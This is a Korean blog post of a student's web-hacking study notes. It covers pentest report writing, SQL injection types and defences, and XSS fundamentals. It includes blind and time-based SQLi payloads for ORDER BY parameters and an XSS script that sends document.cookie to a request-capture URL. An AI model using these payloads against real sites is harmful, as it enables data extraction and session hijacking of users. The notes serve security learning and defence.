보고서 쓰는 법
여기에서 이걸 넣었다. 어라 되네? - > 이거 금지.
깔끔하게 해야함
기본요소 표지 이름 목차
1. 폰트 통일, 글씨 컬러 x
bold. 간혹 굉장히 강조하기 위해서는 빨간 글씨 정도.페이지 번호
2. 사진의 경우
캡처 화면의 경우 너비 통일을 해야함. but 비율을 맞춰야 함 -> 너비 수치 변경
사진의 글씨 크기와 본문의 글씨크기가 비슷하도록 해야 함.
그림 테두리 + 그림 캡션(제목)
3. 풀이과정은 최대한 디테일 하게
"blien sql injection python script를 실행했다." 라는 말로 보고서에 코드 but . 공부시에는 다 쓰는게 좋음.
스샷
참조건 거짓조건 다른 화면
and ((seslect database())='dfsdfs") and
---SQL Injection 정리(기본)
1) sql injectin이 무엇인가?
임의의 sql 질의문을 삽입하여 실행하는 공격
(내가 원하는 sql 질의문이 실행되도록 하는 것)
2) 할수있는 시나리오
인증우회, 데이터 추출, 변조
+ web shell : DB에 임의의 sql 질의문을 통하여 file을 업로드. but 웹서버 was DB가 따로 있다면 실제 코드가 DB에 실행되기 때문에 사용하기 위해서는 was와 DB가 같이 있어야 함
3) 공격유형
1.union based
union 연산자를 통해 쿼리의 결과값을 볼 수 있는 곳에서 사용하는 sqli
2.error based
논리에러를 유발시킬 수 있는 특정 함수
3 . blind sqli
참과 거짓 조건으로 데이터를 한자 한자 추출
4) 대응 방안
-prepare statement
-but. order by, table/column에서 사용 불가 > white List 기반 필터링
화이트리스트 -> 내가 허락한 애들만 가능
블랙리스트 -> 내가 금지한 애들만 가능 - >우회의 여지가 있음
필터링 - > 대부분 화이트 리스트 기반
<-> 모의해킹에서 주의할 점
1. insert, delete, update 구문은 건들지 않는다.
서비스 장애가 발생 할 수 있음
일반적을 select문
한곳에서 sql 취약점이 발생시 그 부분만이 아니라 전부 다 취약점을 보완하도록 해야 함
2. 주석을 남용하지 않는다.
3. 데이터의 변조를 하지 않는다.
** SQL Injectin
order by 절에서 사용가능한 sqli (prepare statement 불가능하기 때문)
파라미터
게시판 검색
sotingAd=, (case when ascii(substr((select user from dual),1,1))=0 then 1 else (1/0) end)
sotingAd=, case when(조건) then 1 else (1/0) end
-> 참일경우 게시글이 나오나 거짓일경우 오류가 발생됨(게시판 안나옴)
sotingAd(일반적으로 정렬기능)
order bby 1 $_GET[''] 형태
get방식 url incoding시 띄어쓰기가 +로 변환
case when(조건) then (참일경우) else (거짓일 경우) end
dual 의 경우 oracle db에서는 select 문에 무조건 from이 있어야 하므로 가상의 테이블인 dual 사용
page=1
board_id=
sortion=A.REG_DT
sotingAD=ASC; if substring((select user_name()),1,1)='a' waitfor delay '0:0:1'
time bases SQLi
user_name이 첫글자가 a이면 1초 딜레이
but. 데이터 추출 자체가 너무 느림
**TIP
UNION SQLi
Error BASED SQLI
화면에 출력되는 값이 하나라면 모든 값을 concat()으로 한번에 가져올 수 잇음
concat은 배열을 합쳐서 출력함
커다란 페이지의 파라미터 중에서 어디에서 SQLi가 일어날지를 알아내는것 또한 굉장히 중요
XSS(크로르 사이트 스크립팅)
->크사/크스스/ 크사스/크스
->이 취약점은 정말 많다.
->웬만하면 있다.
** 두가지 정확하게 이해해야 함
Server SIde(백엔드) VS Client Side(클라이언트)
-> 서버에서 실행되는 코드
PHP
->클라이언트 측에서 실행되는 코드
HTML/CSS/JScriopt
->XSS : 클라이언트 측 코드를 삽입하는 공격
클라이언트에서 코드가 실행 -> 서버는 영향이 없음. 이용자를 공격하는 코드.
대표적을 삽입하는 코드 : HTML JAVASCRIPT
따라서 JS코드를 어느정도는 알아야함.
기본적인 js 코드
-변수선언 const, let, var
-알림창 띄우기 alert(text)
- 페이지 이동 : location.href="URL";
location. replace="";
비슷한 모양의 피싱사이트로 이동시킬 때.
-WEB Request
<img src=''>
var i - new Image();
#image를 만드는 태그
i.src = " attack URL?cookie" + document.cookie
#image를 넣겠다. 그런데 URL로 보낼 때 i이미지 안의 src 속성에 document.cookie를 붙여 보내겠다.
<script>var i = new Image();i.src="attackURL?cookie="+document.cookie;</script>
쿠키값 탈취시 사용하는 코드
keylogger을 삽입하거나 crypto miner를 설치시킬 수도 있음
XSS : 클라이언트 측 코드를 삽입하는 공격. 피해자 컴퓨터(웹 브라우저)에서 실행되게 만드는 공격
삽입 방법
1> 서버에 저장하는 방법 : Stored XSS
만약 댓글이나 게시글 같이 데이터를 저장시키는 곳에서 가능
<script></script>를 통해 실행 가능
POC 코드. 증명용 코드. : alert()를 주로사용 / prompt / confirm등의 코드들이 있음
세션 탈취용 공격서버 Request Bin : https://public.requestbin.com/r
임시서버
copy로 url 복사하면 이 url로 들어오는 경우의 request를 볼 수 있음
<script>var i = new Image();i.src=" https://ensrm2094mbpd.x.pipedream.net/?cookie= "+document.cookie;</script>
XSS
step 1. alert() -> POC코드 : xss확인
step 2. 공격코드 넣기.
안될경우 F12 개발자도구 콘솔에서 오류를 확인
과제
문제풀이 . 3개월차 마지막 주차 전부 풀어줄거임.
과제정리 .
1.xss공격 정리. 기법이 무엇인가? 등
2.xss ctf alert 띄우기 .
왜 본문에서 안된건지 고민.
3. SQL injectin 공격기법 정리
4.웹 개발
5. bliend SQL Injection Python 코드 작성
'Nomaltic Hacking Study' 카테고리의 다른 글
2023.5.11 (0) | 2023.05.11 |
---|---|
2023.05.09 (0) | 2023.05.09 |
2023.04.2(2) (0) | 2023.04.27 |
Union SQLi, Err SQLi 실습 (0) | 2023.04.20 |
2023.04.2 (0) | 2023.04.20 |